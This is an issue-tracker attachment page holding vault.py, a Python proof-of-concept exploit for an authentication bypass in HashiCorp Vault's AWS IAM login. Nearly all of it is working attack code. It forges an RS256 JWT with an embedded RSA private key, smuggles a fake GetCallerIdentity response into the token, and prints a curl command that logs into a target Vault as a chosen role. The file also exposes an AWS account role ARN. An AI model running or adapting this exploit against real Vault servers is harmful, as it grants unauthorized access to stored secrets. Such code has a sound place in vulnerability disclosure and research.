Project is archived and read-only.

Issue 2058 attachment: vault.py (4.0 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Proof of Concept Exploit for HashiCorp Vault AWS IAM auth bypass
# 08/07/2020 - [email protected]

import argparse
import jwt
import time
import base64


# Constants used by my fake OIDC IDP.
# Replace this to use your own
audience = "abcdef"
issuer = "https://oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/"
roleARN = "arn:aws:iam::242434931706:role/oidc-role"

priv = """
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAqWoB0Z/EFVTBRuydiSCh7eIaL5/7ynQJzfpWrsVUhAMXbhxj
h6PBcxPJ0fQHHosUg0g65JPrzIu3ascaW3xHdEskZmgcTmvPyFvW2Ex0sgpr85mH
/ZLm1gSdMoGFRVRTDkfLeV7Pry3F8KAjDFPnd8Ey+Z+RDURyt+Lskqa1805Fzu/P
uQ9aeOX0Q9SCuC1eO+GcEi6l2c8s8VrdytGHkApMuRw20DdSqFhmhlgQW7NWJRzV
oZXC7IogtoPfSOHc26fWXdxy+cApIQymnBRp1gqXi4sdKtYVRi7sN8vaS7qDP4eA
KVDn3l0OngYzxoEbukK0wDezq8uS7hLTOfadLQIDAQABAoIBABKslLa+naacSRHA
Uz0iU7cdDTXitKaEU/BYf+WT6tUCYjrI9k+lRVWiAMUb2Q0M154BADzh8UQCwp0K
hWVANcAj6EdBgp1CVQ0I0o3VH6fgbjXT3qGc58T/jTRcAoy51s3kLBGc2de9e+wi
OrrJJOKWcUACzsJfoSWT5e/kYHoJIMUmUw0427gCWSYaYpgFv0ZxF/edI3ssof9C
o/yx2b0Zl49Jzyob2NAeuvmsi1aLu4lykl/7BexLEA5tdPsQSPb9N8A6Z28rOZ+A
BgUqF9NK4OVx1BX7T2OKCEJcH1sM5iDmYv55/7g+30dGH0i/P8gbhNsUevXMgBPw
9x1ePAECgYEA2SMh6cmgHTWBwHr6yHBb0pIUv/VLCnSBorG52wpr+5/CKF4F4DFS
nzHiHs1GxMTpZVUhg+cKXNxyUHk8AvJMk1+9C9zov8FTUr3WHVarWUuKI5W0jzXb
Boo3WJPQjHoavYJxh+zVnxn0t3PtBlVt0udo4eKOO1+tj0m473wsuGECgYEAx7xH
gybcowJBSnLTLrannM7s855EdEL+09IIqA4m8uLW3FDVMDWbvPYNjyaD71eZ9JkM
wsEoP4f6dXd8eIcokGJ3c49VhPRKgYZPAUqCZxnbTs94GE+4z9aQ0LiFl0ZGbaX2
XP1eJdE3B0iGYDppcxZ9gq9ne+btU9tQJHA0KE0CgYBUwUbih4YNAK614Ar1pA3j
Yovg5bE10oYraC4Als/RdumFcjXe7cGvS/xUQ5IlCiuEFzeu0ccUuiOQz9Gh4MwN
FminMcJT3vVULa9e4k6d20N/YlcJM19b7SVvWLslqh+36yu/f61enfYMiZ5yQ3RL
x3IEAbe86zrG3GLob9LQ4QKBgAvCB6uu0/o8nb9WNxxe4EsY21YUEQ+PChVKHfxW
qPBPbjqV/5bQ8RQUoAO3Trj+PS/q+pdUa5wh0xqrKAaoXjjxsvp4i55CC0jIsUnw
KvEK0qA3EmjL+KMzjF7dHfAj0O2PgYtD1xD+2fBx0odDqQV/Y3AYB02B8KKpHHSo
rklZAoGBANGpZOBgGXjlBdrYNjD3TDbZrWhliTG5fme8QbjeXGp864SxG0hhK+qZ
O34CJXYSmu/5aiEoLH1wTH7ukcGFoRy/P590kwCSANEI+oioFFpo4xenwddB+FbJ
b83tKdOjOgWZHbQE+xUx41//ZuiP6l6kEpBoV9mbUMhvZi59iIR1
-----END RSA PRIVATE KEY-----
"""

parser = argparse.ArgumentParser()

parser.add_argument("-a", "--arn", help="Target ARN", required=True)
parser.add_argument("-i", "--userid", help="Target UserID")
parser.add_argument("-r", "--role", help="Target Role", required=True)
parser.add_argument(
"-H", "--header", help="X-Vault-AWS-IAM-Server-ID value")

args = parser.parse_args()


def main():

sub = """ <GetCallerIdentityResponse><GetCallerIdentityResult>
<Arn>{0}</Arn>
<UserId>{1}</UserId>
</GetCallerIdentityResult></GetCallerIdentityResponse>""".format(args.arn, args.userid)

token = {
"iss": issuer,
"aud": audience,
"azp": audience,
"iat": int(time.time()),
"exp": int(time.time())+60*60*24,
"sub": sub
}

print("[x] fake token: ", token, "\n")

encoded = jwt.encode(token, priv, algorithm='RS256')

url = "https://sts.amazonaws.com/?DurationSeconds=900&Action=AssumeRoleWithWebIdentity"\
+ "&Version=2011-06-15&RoleSessionName=web-identity-federation&RoleArn={0}&WebIdentityToken={1}".format(
roleARN, encoded.decode('ascii'))
print("[x] serialize request to ", url, "\n")

print("[x] x-vault-aws-iam-server-id :", args.header, "\n")

headers = '{"Accept": ["application/json"], "Authorization": ["AWS4-HMAC-SHA256 Credential=foo/20160930/us-east-1/sts/aws4_request,'\
+ 'SignedHeaders=x-vault-aws-iam-server-id,Signature=badcow"], "X-Vault-AWS-IAM-Server-ID" : ["{0}"]}}'.format(args.header)

payload = """
curl -X POST -d '{{"role" : "{0}", "iam_http_request_method": "POST", "iam_request_body" : "YT1i", "iam_request_headers" : "{1}",\
"iam_request_url" : "{2}"}}' TARGET/v1/auth/aws/login

""".format(args.role, base64.b64encode(headers.encode('utf-8')).decode('ascii'), base64.b64encode(url.encode('utf-8')).decode('ascii'))

print("[x] run this on a system with vault connectivity: ", payload)


if __name__ == '__main__':
main()